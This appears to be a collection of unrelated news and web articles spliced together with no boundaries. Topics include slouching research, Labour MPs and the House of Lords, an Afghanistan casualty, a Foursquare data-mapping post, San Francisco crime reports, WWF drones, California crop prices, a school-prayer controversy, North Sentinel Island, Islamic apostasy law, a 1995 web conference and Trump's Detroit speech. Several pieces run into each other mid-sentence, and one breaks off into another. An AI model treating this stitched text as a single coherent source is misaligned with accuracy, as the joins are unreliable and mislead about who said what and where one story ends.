In fact, slouching could be recommended - as forcing yourself to adhere to sitting upright at all times may be wreaking havoc on your body.
But due to the financial opportunity it provides firms based around trendy wellness techniques, slouching is dubbed as awful.
Such fears have sparked an entire industry to arise, promising to kick people into shape by realigning them, taking hundreds of their pounds simultaneously.
Years of slating bad postures as being detrimental to our health is 'wrong', Jack Chew, of the Chartered Society of Physiotherapy says (stock)
Mr Chew told The Times: 'The assumption that we all need to be perfectly aligned is just wrong... nothing about our bodies is entirely symmetrical.
'Our organs aren't positioned symmetrically; we each have a dominant side.'
Mr Chew's claims challenge a body of evidence that states the opposite, suggesting that slouching is the root cause of many ailments.
Move on
'It [slouching] is sold as the key cause of so many ailments, yet it remains just one of many potential factors that might contribute to a health problem.
'We need to get away from this idea that bad posture is the single cause of so many complaints because that is never the case.'
Scores of businesses have popped up on the back of such research, desperate to tap into a goldmine of adults worried about their bad postures.
Substantial links to bad backs, which affects four in five people at some point in their lifetime, have also been reported.
GOOD POSTURE TO TREAT DEPRESSION Good posture could help treat depression, a study published in January claimed. Previous research has showed that slouching can crush one's mood, and sitting straight does the opposite. But University of Auckland researchers wanted to examine if something as simple as posture could work for people diagnosed with depression. 'Compared to sitting in a slumped position, sitting upright can make you feel more proud after a success, increase your persistence at an unsolvable task, and make you feel more confident in your thoughts,' lead researcher Dr Elizabeth Broadbent explained.
Tapping into a goldmine
Often adults are desperate to avoid the middle-aged burden of a bad back and seek innovative ways to prevent such.
Due to the growing demand, wellness firms have responded in their hundreds with the invention of gadgets promoting better postures.
One includes 'Tru-Align', a series of five cushions designed to realign the backs of users. It costs £384 ($495), The Independent reports.
Another, called CoreAlign, offers a balance body course and the equipment needed to partake for just under £2,800 ($3,600).
Depression links
Mr Chew's claims just after New Zealand-based researchers earlier this year said that good posture could be used to treat depression.
In January they discovered sitting upright can make people feel more proud after a success and more confident in their thoughts.
Research in 2012 made a link between people who walk with a bad posture and the risk of being depressed.
A study from San Francisco State University found slouching can lead to decreased energy and feelings of depression.Gordon Brown is facing an escalating crisis of confidence inside the parliamentary Labour party as record numbers of his MPs apply to sit in the House of Lords after the next general election.
In the clearest indication to date that increasing numbers of Labour figures believe the party is heading for a heavy defeat at the hands of David Cameron, the Guardian has learned that at least 52 MPs have formally approached Downing Street to be given places in the upper house.
The MPs include current chairs of select committees as well as past and serving middle and junior ranking ministers, according to Labour sources. They account for a seventh of those elected at the last election.
The move by the Labour MPs comes as Brown faces the most perilous week of his premiership.
Ed Balls, the schools secretary, said yesterday Labour would perform badly in the European and local elections next Thursday.
"In European and local elections, [held] before a general election the governing parties tend not to do so well," Balls said at an election briefing. "That is going to happen to us. Of course it is. That is what happened in 2004."
Others were more blunt. "We are doomed," one senior Labour figure told the Guardian.
"We're all doing our bit in the elections but it is over for Labour."
Another Labour figure said the keen interest in the Lords shown by the party's MPs highlighted how disconnected senior figures are from the prime minister.
"They should look at how many peers Gordon has created – he is no fan of the upper house," one former minister said.
Brown is expected to try to assert his authority soon after the elections with a cabinet reshuffle.
It was the reshuffle last October, in which Peter Mandelson returned to the cabinet, which shored up Brown's position after ministers had been in semi-open revolt over the summer.
But there is already speculation in Labour circles about whether Brown will face a leadership challenge if Labour performs badly next week.
Alan Johnson, the health secretary, has attracted attention after he devoted the last bank holiday weekend to publishing an article calling for electoral reform. But some of the prime minister's strongest opponents at senior levels of the party are sceptical of a cabinet-led challenge.
There is a feeling that the cabinet had a chance last summer to move against Brown but David Miliband, the foreign secretary, blew his chances with a few poorly chosen interventions.
Hazel Blears, the communities secretary, seen as the most likely cabinet minister to resign in exasperation at the prime minister's performance, has been damaged after she failed to pay capital gains tax on the sale of a London flat. She has since paid back the amount.
One senior figure said there was a feeling of resignation that Brown would lead the party into the next election.
"This is the third time we have seen the movie," said a figure who agitated for a challenge last year. "The expenses row may actually help the prime minister. He will be able to say these are exceptional circumstances and that every party has been hit."
Polls indicate that the UK Independence party, which was thought to have reached the high water mark of its success in 2004, will be the main beneficiary of protest votes next Thursday. This would hit the Tories and the Liberal Democrats.
Balls gave an indication of the line that Brown is expected to use in the aftermath of the elections. "The polling we are seeing [shows] that in these elections [the expenses row] is going to impact on mainstream parties because it is probably going to persuade [voters] to stay at home," he said. "That will be a judgment on the whole political system rather than simply the government."
Balls, who will be one of Labour's main strategists for the general election, underlined one of the main frustrations felt by the prime minister: that Labour still occupies the right central ground territory to win the election – he believes Brown would preserve vital public services while Cameron would impose swingeing cuts – but it is difficult to frame a debate on substance in the current climate.
"If you have a serious discussion with a voter about the choices between the two parties, which takes more than five or 10 minutes, then actually people are very concerned about what the Conservatives say on the economy and on public services," Balls said.
"I don't think we are losing the debate on policy. Our challenge is to have the debate on policy. I was out on the doorstep in my constituency. There is a great deal of concern about the expenses. But people want to know about some of the wider issues around public spending, the economy and Europe."
Balls underlined the worries over the impact of the expenses row by saying it could take 10 years to restore public trust in politics. "It will take us not just months, it will be a very big task for this parliament and through the whole of the next one," he said.
The disclosure that 52 Labour MPs are looking to life in the Lords shows many figures believe Labour will struggle to fashion the debate in the way described by Balls.NOORULLAH SHIRZADA via Getty Images Smoke rises after an air strike by US aircraft on positions during an ongoing an operation against Islamic State (IS) militants in Kot district of Nangarhar province on February 16, 2017.
WASHINGTON, April 8 (Reuters) - A U.S. soldier was killed while conducting operations against Islamic State in Afghanistan late on Saturday, a U.S. military spokesman said in a message posted on Twitter.
“The soldier was mortally wounded late Saturday during an operation in Nangarhar Province” in eastern Afghanistan, U.S. Navy Captain Bill Salvin said in a message on the official Twitter account of the NATO-led Resolute Support mission.
The soldier was a Special Forces operator, Salvin told Reuters separately.
The circumstances of the death were unclear and Salvin said more information could be released later.
Islamic State’s offshoot in Afghanistan, known as the Sunni jihadist group’s so-called Khorasan Province, is suspected of carrying out several attacks on minority Shi’ite Muslim targets. U.S. officials say intelligence suggests Islamic State is based overwhelmingly in Nangarhar and neighboring Kunar province.
Estimates of its strength in Afghanistan vary. U.S. officials have said they believe the movement has only 700 fighters but Afghan officials estimate it has about 1,500.
The Afghan Taliban, which is trying to overthrow the U.S.-backed government in Kabul, is fiercely opposed to Islamic State and the two have clashed as they seek to expand territory and influence.I started using Foursquare at the end of 2012 and kept with it even after it became the pointless muck that is Swarm. Since I’ve now got 4 years of location history (ie, check-ins) data, I decided to visualize and map it with Python, matplotlib, and basemap. The code is available in this GitHub repo. It’s easy to re-purpose to visualize your own check-in history: you just need to plug in your Foursquare OAuth token then run the notebook.
First the notebook downloads all my check-ins from the Foursquare API. Then I mapped all of them, using matplotlib basemap.
Basemap is a fantastic, simple way to project and map geospatial data attractively with Python (here, using the Kavrayskiy projection). So, most of my Foursquare/Swarm check-ins are unsurprisingly in the U.S. and along the west coast. What countries other than the U.S. have I checked-into the most?
Outside of the U.S., I’ve checked-in to Spain more than any other country. Conversely, which cities (total, including the U.S.) have I checked-into the most?
Berkeley dominates, which is unsurprising because I live and work in Berkeley. Other bay area cities (San Francisco and Oakland) likewise come in second and third. What types of places have I checked-into the most?
I guess these venue categories reveal the highs and lows of PhD student life: college buildings, libraries, bars, and breweries. Beyond categories, what specific places (aka, Foursquare “venues”) have I checked-into the most?
So the top four venues are all buildings on UC Berkeley’s campus. Two others are bars near my house in Berkeley. The rest of the top venues comprise my closest grocery store, transit station, and airport.
Foursquare/Swarm check-ins over time
How has my check-in behavior changed over time? Have I used Foursquare/Swarm differently at different times?
Clearly I have used it much more in some months than in others. While I checked-in more in general when the app was new to me, there are also a lot of spikes correlated with times I was on vacation or out of town. The valleys tend to be mid-semester when I was busy at school and not going out and about much. What about by day of the week?
Fridays and Saturdays have the most check-ins, because I’m going out more on those days. But there isn’t a drastic difference in daily check-in activity. What about by hour of the day?
My check-in activity peaks around mid-day before hitting another mini peak in the late afternoon; from there it trails off into the night.
You can visualize your own Foursquare/Swarm check-in history using my Python code in this GitHub repo. Just plug in your own Foursquare OAuth token, then run the notebook. You might also be interested in mapping everywhere you’ve ever been.Police report a woman was stabbed Saturday morning at 22nd and Mission streets.
The 26-year-old woman asked the man, estimated to be in his 20s, for a ride around 4:20 a.m. The man then demanded the woman’s property, before stabbing her in the stomach with a knife. The suspect then fled in his sedan, while the victim transported herself to the hospital for treatment of a stab wound on her body and a laceration on her hand.
The victim is reportedly in stable condition.
Assaults
At 12:36 a.m. on Saturday, a 39-year-old man was standing near the BART station stairs at 24th and Mission streets when a man estimated to be about 20 years old approached and told him he couldn’t hang out there. The victim tried to walk away, but the younger man started punching him in the head, at which point the victim fell to the ground and lost consciousness.
The suspect fled on foot and was not arrested. The victim was transported to the hospital with non-life-threatening head injuries.
Another assault occurred on Sunday at 1:50 a.m. on Mission Street between 19th and 20th streets, when a 23-year-old man reportedly stumbled out of a bar and bumped into a man of unknown age. An argument developed, and the man who had bene bumped into punched the man in the face.
The bar’s bouncer then intervened, police report, and threw the assailant out of the bar. Shortly thereafter, the victim left and flagged down police. No arrest has been made, and the victim was treated at the hospital for a non-life-threatening injury.
Fire investigation
Firefighters responded to a vehicle fire on South Van Ness Avenue between 14th and 15th streets at 5:10 a.m. on Saturday. When police arrived on the scene after the fire had been extinguished, a witness reported seeing a man and a woman in their 20s in the area of the fire with an accelerant, and said the pair had fled the scene in a sedan prior to the fire. No arrest has been made, and no injuries were reported.
Robberies
Police arrested a man on Friday after he robbed a woman of her backpack.
The suspect, a 38-year-old man, had approached the 22-year-old woman at 18th and Mission streets around 5 p.m. on Friday and asked her to buy him a meal. The woman agreed, and bought him a meal, at which point the suspect pushed her to the ground and stole her backpack. The suspect was arrested and the backpack was recovered, and the woman was not injured.
At 2:24 a.m. on Saturday, a man in his 40s approached a 24-year-old woman at 24th and York streets and threatened her with a pipe. The man demanded the woman’s purse, which she handed over, and then fled on foot. No arrest was made and the victim was not injured.
Burglary
Early Saturday morning, a woman living on 26th Street between Dolores and Guerrero streets was asleep in her home when someone came in through an unlocked back door. The suspect stole a purse, phone, tablet, laptop, credit cards and money and left the apartment through the back door. No arrest has been made.
Recent calls for service to police can be found on CrimeMapping.
Crime is trauma and the county offers different services, which can be found here. Victims of violent crime can also |
drones to vaporize poachers. But thanks to a five million dollar grant awarded by Google on Tuesday, the organization is expanding its use of unmanned aerial vehicles to track and deter criminals who illegally hunt endangered animal species around the world.
WWF spokesman Lee Poston is not calling these vehicles drones, because he doesn’t want people to confuse them with the military kind. According to Poston, they are “sophisticated radio-controlled devices like hobbyists use” that can be “controlled from your iPad or other device.” But the WWF website does call them “conservation drones.”
Prior to receiving the Google grant, the WWF had already deployed trackers in Nepal’s national parks. These drones are light enough to be launched by hand and can be programmed to fly about 18 miles at a maximum elevation of 650 feet, for almost an hour. The cameras on the drones allow rangers on the ground to spot would-be poachers, especially in hard-to-reach places.
The Google funding will enable WWF to expand its drone program in Asia and Africa to protect rhinos, which are hunted for their horns; elephants, which are pursued for their tusks, and tigers, which are killed for everything from their eyes to their reproductive organs. The grant will also be used to advance wildlife tagging technology, specialized sensors, and ranger monitoring software.
The anti-poachers are exploring other high-tech measures as well. “We are looking into how to track animal parts using things like DNA,” says Poston. “So if a ranger find a rhino horn on the ground, we can figure out what happened.”
The grant is part of Google’s flagship Global Impact Award program, which this year, is providing a total of $23 million in funding to nonprofits addressing various challenges through technology and innovation. Some of the other organizations that received awards on Tuesday included the Geena Davis Institute on Gender and Media (which recently put out a study on why women have fewer speaking parts than men) and charity: water, which increases water access in developing countries through technology.
This grant “is going to have a huge impact,” says Ian Morrison, another WWF spokesman. “The poachers and the crime syndicates that fund them are getting more and more sophisticated, and it’s time for us to step up our game too, and level the playing field.”
Note: This image is not an actual Google-funded drone.SALINAS, Calif. (Reuters) - Record rains are a double-edged sword for California’s Salinas Valley: While the recent deluge virtually ended the state’s historic drought, it also created muddy, unworkable fields - sending prices for everything from kale to cauliflower soaring.
Farm fields in Salinas Valley are seen near Salinas California, U.S. on April 19, 2017. Picture taken on April 19, 2017. REUTERS/Lisa Baertlein
The famed agricultural region just south of Silicon Valley is usually a springtime sea of green vegetables. But this year, there are patches of brown unplanted dirt in “America’s salad bowl,” which supplies more than 60 percent of the country’s leaf lettuce and almost half of its broccoli.
“Most fields under normal conditions would be planted at this point,” Jerrett Stoffel, vice president of operations at Taylor Farms, said in an interview at the privately held company’s sprawling outpost in Salinas, California.
Taylor Farms is a major provider of produce to customers such as grocer Kroger Co and burrito seller Chipotle Mexican Grill Inc.
“No matter whether you live here or you live in Boston, you’re going to see the impact” on supply and prices, Stoffel said.
Salinas has been struck by a series supply-squeezing events, said Roland Fumasi, a Rabobank analyst who covers the fresh fruit, vegetable and flower sectors.
Unusually hot weather in desert growing areas such as Yuma, Arizona, and California’s Imperial Valley during December and January resulted in early harvests. California’s 90-mile long Salinas Valley, which runs from Salinas to King City, couldn’t fill the supply gap because heavy rains in January and February delayed or prevented some planting.
And, more recent rains have lowered yields and delayed harvests for some crops that are in the ground.
Since Oct. 1, Salinas has received 16.4 inches of rain, significantly more than normal rainfall of almost 12 inches annually, said Eric Boldt, a National Weather Service meteorologist.
California’s rainy season usually wraps up at the end of April, and the 14-day weather outlook suggests that is holding, Boldt said.
“By the middle of next month, we might be pretty close to normal supply-side conditions,” said Fumasi. “If we were to get heavy rains, then all bets are off.”
The supply crimp sent up wholesale prices, which are usually passed on to shoppers.
Prices for boxes of California spinach and kale were up 20 percent and 87 percent, respectively, for the first two weeks of April versus the same period in 2016, according to data from the U.S. Department of Agriculture.
The moves have been more dramatic for broccoli and cauliflower. Broccoli more than tripled to $30.21 per box from $9.08; cauliflower is at $37.52 versus $13.74, USDA data as of April 15 shows.
Doug Classen, vice president of sales at the Nunes Co, which grows and ships Foxy brand produce, said there are few options for filling the supply gap since there is not much product coming from Mexico and other parts of the United States.
When asked about the area’s supply prospects, Classen uttered words unthinkable just a year ago: “Let’s put it this way, I don’t want to see any more rain.”Outrage is swirling around the story emerging from Oviedo, Florida involving a five-year-old girl who was allegedly interrupted during her lunchtime prayer.
According to a story told to the Orlando Sentinel, a kindergartner was preparing to pray over her meal when a ‘lunch teacher’ at Carillon Elementary stopped her.
“My lunch teacher told me that, when I was about to say something…you’re not allowed to pray.”
The child said that she responded, “It’s good to pray.”
The teacher apparently countered that prayer is “not good”.
The young girl was instructed to share her story in a video recorded by her father, Marcos Perez. Perez’s video has garnered thousands of views and made local and national news.
A mean godless educator bullying a poor child just trying to say grace over lunch?
While the event is most certainly plausible, early investigation is raising a few red flags.
First, there is the fact that Seminole County Public School officials report that cafeteria workers have no knowledge of the incident or of interacting with Perez’s daughter on March 10th, the date the family claimed the incident took place.
Second, Marcos Perez is the vice president of sales at Charisma House, a Lake Mary-based Christian book publisher.
“God Less America: Real Stories from the Front Lines of the Attack on Traditional Values” is a book currently being promoted by Perez’s company.
It was written by Fox News host Todd Starnes, who reported on the incident for Fox News Radio.
The coincidence and timing is enough to have some people declaring this entire thing a publicity stunt and hoax.
It is terrible to think that a father might not be above coaching his daughter through a blatant lie “for a good Christian cause”. Nevermind slandering innocent school officials in the process and opening himself up to a defamation lawsuit.
Still, it wouldn’t be the first time a father has gotten his children to lie for purely selfish reasons.
The balloon boy hoax that happened three years ago involved a father who coached his child into lying in order to potentially get a television deal. Something the child unwittingly admitted to on CNN.
Now on #DCwatchlive Marcos Perez, father of kindergartner stopped from praying over her lunch & @jeremydys: http://t.co/zWAdrPqjGZ — Tony Perkins (@tperkins) March 31, 2014
Given how visibly upset that young boy was when forced to play a role in the hoax (he would vomit whenever the matter was brought up in interviews), it’s something Perez needs to consider if he’s electing to put the same emotional strain on his daughter for profit and not because this actually happened.
If an incident did occur, hopefully further investigation will uncover the truth and reveal which teacher is responsible.
Given the viral nature of this story and the strong reaction, an update is inevitable.
Until such time, it’s best to wait for all the facts before jumping to any definite conclusion in this matter. Or adults once again using partisan talking points to beat home their own one-sided point of view while forgetting something very important.
A little girl was either told that she couldn’t exercise her religious beliefs or was coached to lie for profit and slander.
Either potential outcome is both sad and disturbing, and indicative of adults setting terrible examples for young and impressionable children.
Image via YoutubeNorth Sentinel: a defended and protected island
Up until the mid-1990s, the Indian government conducted a series of tentative “contact expeditions”. Boats travelled to North Sentinel Island and tried gradually to win the tribe’s trust by leaving coconuts and other gifts.
For some time these visits met with hostility, but in 1991 the first recorded friendly contact between Sentinelese tribes people and outsiders took place. Islanders waded out to a dinghy to take coconuts directly from their visitors.(Bellow you can see the video)
A scholar of the Andaman Islands and of the Sentinelese tribe would have been on that dinghy but for a family emergency that caused him to send two assistants in his place.
A few weeks later, though, Pandit too had his long-awaited encounter with the Sentinelese.
Recounting the events to The American Scholar some years later, Pandit’s words revealed his personal joy at the occasion, but more so than that a strange complacency about the fate of a culture he had devoted so much energy to studying.
“That they voluntarily came forward to meet us – it was unbelievable,” he said.
“But there was this feeling of sadness also – I did feel it.
“And there was the feeling that at a larger scale of human history, these people who were holding back, holding on, ultimately had to yield. It’s like an era in history gone. The islands have gone. Until the other day, the Sentinelese were holding the flag, unknown to themselves. They were being heroes. But they have also given up.
“They would not have survived forever – that, I can reason out. Even destruction takes place in the natural course of things; no one can help it, it happens. But here we have been doing it in a very conscious way, knowing full well what the consequences could be.”
Towards the end of the visit, Pandit was in the water with a group of Sentinelese when the dinghy drifted slightly away from him. One of the tribesman pulled out a knife and pointed it threateningly at Pandit, obviously thinking that Pandit intended to stay on the island while his companions sailed off. The boat quickly returned, however, and Pandit left.
Not long after this encounter it was decided that further attempts to make contact with the Sentinelese should be abandoned and these intriguing people should be left to their own devices. Whether their isolation will be maintained, however, remains to be seen.
First friendly contact with Sentilese – video
Contact with the Sentinelese people by saddlerdonnaThe imposition of the death penalty for apostasy and related offences is not unique to Islam - it existed in Judaism and Christianity, and was widely practiced under the latter in the Mediaeval period. Yet these notions have been effectively eliminated from any current Jewish or Christian discourse, and there is no possibility of imposing the death penalty for these crimes in the modern context of these societies. In contrast, such punishments remain entrenched in Islamic jurisprudence and those found guilty of these offences can still be sentenced to death in countries like Pakistan and, as is now being widely reported, Sudan.
The pressing question, I believe, is not how Islamic societies can "catch up" with their Jewish and Christian counterparts in this regard, but rather how Islamic jurisprudence can be revised as an internal Islamic imperative. How, in other words, can traditional notions of apostasy be seen as incompatible with the Islamic conception of religious freedom, rather than as contrary to international human rights norms which some Muslims regard as impositions from Western countries?
The Arabic word riddah, commonly translated as apostasy, literally means to "turn back." In Islamic law, riddah is understood to be reverting from the religion of Islam to kufr (unbelief), whether intentionally or by necessary implication. The vast majority of classical Muslim scholars agree that once a person becomes a Muslim by his or her free choice, there is no way by which he or she can change religion.
According to such scholars, ways in which riddah may occur include denial of the existence of God or the attributes of God, denial of a particular messenger of God, denial of a principle that is established as a matter of religion (such as the obligation to pray five times a day or fast during the month of Ramadan), declaring prohibited what is manifestly permitted (halal), or declaring permitted what is manifestly prohibited (haram). But since some of these issues have always been the subject of significant and persistent disagreement among Muslim scholars, it is difficult to establish the definitive and categorical view by which all other views are to be judged.
Moreover, apostasy is said to apply whenever a person is deemed to have reverted from Islam, by an intentional or blasphemous belief, act or utterance. For instance, the first category is supposed to include: doubts about the existence of God or about the message of the Prophet Muhammad or any other prophet; doubts about the Qur'an, the Day of Judgment, the existence of paradise and hell; doubts about the eternity of God; and doubt about any point of belief on which there is consensus (ijma) among Muslims, such as the attributes of God.
It would therefore logically follow that where there is no consensus on an issue, apostasy is not possible on that count. Yet, as a matter of fact, there is no consensus on many of the issues included in the list of various scholars and schools. For example, there is significant disagreement among those early scholars on God's attributes, which mean that one can be condemned as an apostate for accepting or rejecting an attribute of God according to the views of one scholar that is asserted or denied by another scholar.
An obvious problem with the notion of apostasy is that, while the Qur'an repeatedly condemns apostasy as a religious sin, it does not provide any punishment for it in this life (as can be seen in verses 2:217, 4:90, 5:54, 59, 16:108 and 47:25). In fact, the Qur'an clearly contemplates situations where an apostate continues to live among the Muslim community and engaged in repeated apostasy, rather than being put to death for the first time they commit this alleged crime. For example, verse 4:137 of the Qur'an can be translated as follows: "Those who believed, then disbelieved, then believed, and then disbelieved [once more] and became more committed to disbelief, God will not forgive them or guide them to the righteous pathway."
Moreover, the value of protecting the possibility of dissent and difference can be appreciated in terms of the relationship of heresy to the authenticity and rejuvenation of religious life. Obviously, many heresies simply perish and disappear, but there is no orthodoxy that was not a heresy when it started. From this perspective, every religious community should safeguard the psychological and social as well as legal possibility of heresy and disagreement among its members, because that is the best indicator of the honesty and authenticity of the beliefs and practice within that community.
Believers must always remain within their religious community completely voluntarily or leave by their free choice - there is simply no value or any purpose in coerced religious belief or practice. Unfortunately, the harsh legal consequences of failure to respect freedom of religion and confusion and fluidity over the concepts and terms used to suppress this freedom in the Islamic context are far from theoretical or historical.
For example, members of the Ahmadiyya community in Pakistan were considered a religious minority within Islam, governed by Muslim personal law in the area of family law, allowed to contest elections as Muslims and to assume public office reserved for Muslims. In 1974, the Government of Prime Minister Zulfiqar Bhutto amended Article 260 of the 1973 Constitution of Pakistan in order to declare all Ahmadiyyas non-Muslims, thereby denying them all the legal benefits of being classified as Muslims.
In 1984, the President Zia-ul-Haq's martial law regime added new sections 298B and 298-C to the Pakistan Penal Code of 1860, and amended the Code of Criminal Procedure of 1898 and West Pakistan Press and Publications Ordinance of 1963 Penal to punish with up to three years imprisonment for any member of the Ahadmiyya community who uses certain expressions which are characteristics of their religious faith, or use the Muslim call for payer, or identifies himself or herself as a Muslim.
Since the rationalization of such persecution is alleged to be "Islamic," it is therefore necessary to challenge such violations of freedom of religion from the same Islamic perspective. In particular, the Qur'an neither defined apostasy and related concepts in legal terms, nor imposed a punishment for any of them in this life. These issues should be taken as matters of freedom of conscience, rather than capital crimes. But that possibility of re-interpretation must begin with a clear acknowledgement of the traditional position, despite all its ambiguities and contradictions.
An Islamic reform methodology that I find to be appropriate for achieving the necessary degree of reform is that proposed by Ustadh Mahmoud Mohamed Taha. The premise of Ustadh Mahmoud's methodology is that the earlier universal message of Islam of peaceful propagation and non-discrimination was contained in parts of the Qur'an that were revealed in Mecca (610-22). But when the Prophet migrated with his few persecuted followers to Medina in 622, the Qur'an had to provide for the concrete needs of the emerging community, which had to struggle for survival in an extremely harsh and violent environment.
It is clear that traditional shari'a principles, like apostasy, were in fact concessions to the social and economic realities of the time, and not the message Islam intended for humanity at large into the indefinite future. Since those principles were developed by early Muslim jurists applying their own methodology of interpretation that was not sanctioned as such in the Qur'an or Sunna of the Prophet, different conclusions can be drawn by applying a new methodology.
This analysis, I believe, provides a coherent and systematic methodology of interpretation of the totality of the Qur'an and Sunna, instead of the arbitrary selectivity used some other modern reformers who fail to explain what happens to the verses they choose to overlook.
While traditional conceptions of apostasy and related notions were accepted as valid by earlier Muslims in the historical context of the formative stages of shari'a, that is no longer true today. The individual and collective orientations of Muslims today, I believe, are probably different from those of earlier generations because of the radical transformation of existential and material circumstances of today compared to those of the past.
In contrast to the localized traditional existence of past Islamic societies, Muslims today live in multi-religious nation-states which are fully incorporated into a globalized world of political, economic and security interdependence, and constantly experiencing the effects of mutual social/cultural influence with non-Islamic societies. While some individual Muslims may still choose to advocate traditional notions of community and conditionality of rights, the reality of the pluralistic national and international political communities of today support entitlement to freedom of belief as a human right rather than a conditional right of membership of a religious community.
If the benefits of freedom of belief are available only to believers who are accepted as such, what is the rationale for having a right to freedom of belief at all? The right to freedom of belief is needed, and can be claimed, only by nonbelievers and believers who are not accepted as such by the community in question.
Abdullahi Ahmed An-Na'im is the Charles Howard Candler Professor of Law at Emory University School of Law. He is the author of Islam and the Secular State: Negotiating the Future of Shari'a and Muslims and Global Justice.Fourth International World Wide Web Conference
``The Web Revolution''
December 11-14, 1995, Boston, Massachusetts, USA
For live coverage of the conference as it happened, please see Fourth International World Wide Web Conference - Live!
Announcing: the Fifth International World Wide Web Conference, 6-10 May 1996 in Paris.
The Web Revolution is the fourth in a series of International World Wide Web Conferences. It will bring together researchers, developers, and users working with the World Wide Web.
The conference takes place 11-14 December 1995, in the Boston Marriott Copley Place, and at the Hynes Convention Center.
If you need help or have questions which are not answered in the above information, please send mail to: www4-help@w3.org. Alternatively, you can phone us in the US at +1-617-253-4087 or fax to +1-617-258-5090.
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Created 17 March 1995
Last updated 15 Dec 1995As Donald Trump's poll numbers plummet, political observers are wondering if the Republican presidential candidate can get his campaign back on track Monday with what's billed as a major address before the Detroit Economic Club.
Trump is expected to "unveil his policy agenda for revitalizing the American economy," his campaign said in a press release.
The address comes at a critical point in the presidential campaign.
"It's a chance for him to get back on message, after a couple of weeks where it's been bad news after bad news after bad news for him," said Susan Demas, editor of the Inside Michigan Politics newsletter.
Since the Democratic and Republican conventions, Trump has created a series of controversies that have generated negative headlines -- from his battle with a Gold Star family; to his long delay in endorsing House Speaker Paul Ryan and U.S. Sens. John McCain and Kelly Ayotte in their primaries; to his comments on foreign policy that have some questioning his fitness to be president.
Meanwhile, while polls showed Trump and Hillary Clinton essentially tied after the GOP convention, Clinton has since jumped to a significant lead in a number of swing states. A Detroit News/WDIV-TV poll released Thursday had Clinton ahead by 9 points in Michigan and an EPIC-MRA poll released Friday had Clinton up by 11 points.
"Trump is cratering," Republican strategist Frank Luntz tweeted on Thursday. "He needs to overhaul his general-election strategy if he wants to have any hope of winning in 95 days."
The Fivethirtyeight.com website is now giving Clinton a 75 percent chance of winning in November, based on current polls, the economy and historical data.
"If Trump's actually going to have a chance to win," then he needs to use his Detroit speech to turn things around, said Dennis Lennox, a Detroit-area GOP strategist.
The event "presents a pivot opportunity for Trump to help him overcome two really bad weeks," Lennox said.
Lennox said there's a good chance that Trump can it pull it off, noting that Trump has done well in other circumstances he's given a formal speech, such as a March address on foreign policy before the American Israel Public Affairs Committee.
"Trump's biggest problem is that he has these rallies where he goes off message," Lennox said. "He's not a career politician, so message discipline for him is a little different than it is for someone like Clinton."
Donald Trump speech in Detroit sells out Nearly 1,500 tickets were sold to Republican presidential candidate Donald Trump's private address in Detroit Monday.
Monday's event also a chance for Trump to make inroads with Michigan voters, said Lennox and Demas.
"Trump has made a big deal about changing the map (of past presidential elections) and Michigan is a big deal for him," Demas said. "It's not a coincidence he's making a major address here.
"It's also a chance for him to press reset button and he could get a lot of positive press," she said.
Positive press may be the goal of the Trump campaign, but Steve Hood, a Democratic strategist who also has a radio show on AM 910 in Detroit, said Trump's speech could be upstaged by protesters.
"People are planning a serious, massive protest where they actually build a human wall and refuse to let people in," Hood said. The speech, originally planned to be at the Renaissance Center has been moved to Cobo Hall, citing security issues.
It also possible the protesters "will go too far and make Donald Trump sympathetic," Demas said.
Despite Trump's struggles in recent days, all three analysts interviewed said the presidential race remains in flux.
It's a "fluid period," Hood said. "There's still a chance Trump can win, and the Democrats are taking nothing for granted."
Poll: Do you think a Trump presidency would be good for Michigan? Do you think Trump would be good for Michigan?
Demas agreed.
"Trump is trailing, but it's August," she said. "There's still time for him to make up ground."
But like Luntz, Demas said Trump needs to change his strategy.
"His not-politically-correct shtick that made him a winner in the primaries has caused him a lot of problems in the general election campaign," she said.
She said one of his biggest problems right now are questions being raised by prominent conservatives such as Charles Krauthammer and Joe Scarborough on whether Trump has the temperament to be the world's most powerful leader.
"We've been seeing a lot of prominent Republicans, prominent people from the foreign policy community, who are raising questions," she said. "People are very nervous about someone who seems so erratic."
Conservatives also have raised questions about Trump's economic stances, which have diverged from traditional Republican policies.
"The audience at the Detroit Economic Club is not likely to agree with Trump on immigration, on trade, on the fact that he's gone after the U.S. Chamber of Commerce," Demas said.
The GOP business community does like his plan to slash taxes, she said, but are much less enthusiastic about his call for massive spending on infrastructure projects.
Lennox agreed that Trump is not a traditional Republican, but said that helps explain his appeal.
Trump is moving the GOP beyond the "party of free trade and international intervention," Lennox said. "That's not your average Republican anymore."
Lennox thinks Trump has a real shot at winning in November, not just because of his populist message but also because of his opponent.
"I believe nothing brings Republicans together," he said, "than someone with the last name of Clinton."Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
If you click on the Israeli army’s new Hezbollah website, you will see a red and black logo that reads, “Hezbollah, Army of Terror.” The site is a combination of graphics, text and videos, all focusing on the Lebanese-based, Iran-proxy terrorist organization and its leader, Sheikh Hassan Nasrallah.
One link refers back to what Israelis call the Second Lebanon War of 2006, and in fact, the site was launched on the seventh anniversary of that 34-day war between Hezbollah and Israel that was triggered by a cross-border raid by Hezbollah fighters that left eight Israeli soldiers dead and two captured. It ended with a United Nations – brokered cease-fire.
The Media Line
The Media Line
The website warns that Hezbollah today is stronger than ever.“Seven years later, Hezbollah has developed capabilities to strike anywhere in Israel,” it says.A neon-green graphic that follows the text shows the different weapons Hezbollah now in its arsenal and how far each one is able to reach. The missile with the longest range, the Scud-D, can travel more than 430 miles, potentially penetrating deep into Egypt and Saudi Arabia as well as Israel, as well as targeting American military assets in the region.“Since the war, Hezbollah has tripled the size of its missile arsenal,” the website says. “In 2009, an IDF intelligence report revealed that Hezbollah had built close to 1,000 military facilities throughout southern Lebanon. The installations included more than 550 weapons bunkers and 300 underground facilities. Since the report’s release, Hezbollah has continued to build facilities in the region, enhancing its ability to strike at nearby Israeli towns and cities.”The website says that Israel is in more danger than ever before.“Hezbollah’s weapons are capable of causing far more substantial damage than its 2006 arsenal,” the website continues. “With its current abilities, Hezbollah is capable of bombarding Israel with continuous, precise attacks over an extended period of time.”The website is the product of Israel’s new interactive media branch, a spin-off from the IDF Spokesman’s Unit. Lieutenant Colonel Avital Leibovich, the head of the new branch, says some 30 soldiers work there, and put out content in English, Hebrew, Arabic, French, Spanish and Russian. Two of the soldiers, she says, are native Egyptians who moved to Israel about seven years ago.“This is the first time a military invests in such a platform using confidential information.” Leibovich told. “When information will be 